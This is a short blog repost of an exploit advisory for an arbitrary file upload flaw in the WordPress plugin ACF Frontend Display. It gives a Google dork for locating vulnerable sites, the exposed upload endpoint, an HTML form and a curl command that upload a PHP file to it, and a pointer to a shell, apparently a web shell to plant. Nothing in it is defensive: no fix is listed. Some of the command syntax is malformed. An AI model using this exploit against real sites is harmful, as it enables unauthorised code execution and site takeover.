Sunday, February 19, 2017
WordPress Plugins ACF Frontend Display File Upload Vulnerability
WordPress Plugins ACF Frontend Display File Upload Vulnerability
#- Title: WordPress Plugins ACF Frontend Display File Upload Vulnerability
#- Author: TUNISIAN CYBER
#- Date: 2015-07-07
#- Developer : dadmor
#- Link Download : github. com/dadmor/ACF_frontend_display
#- Google Dork: inurl:"/plugins/acf-frontend-display/"
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --
Vulnerability : site/wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php
When Vulnerable : Like jquery file upload
Method
CSRF :
<form method="POST" action="http://3xploi7.blogspot.com/wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>
With curl :
curl -k -X POST -F "action=upload" -F "3xploi7.php" "site:wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php"
Need Shell Path ? Click Here
Available link for download
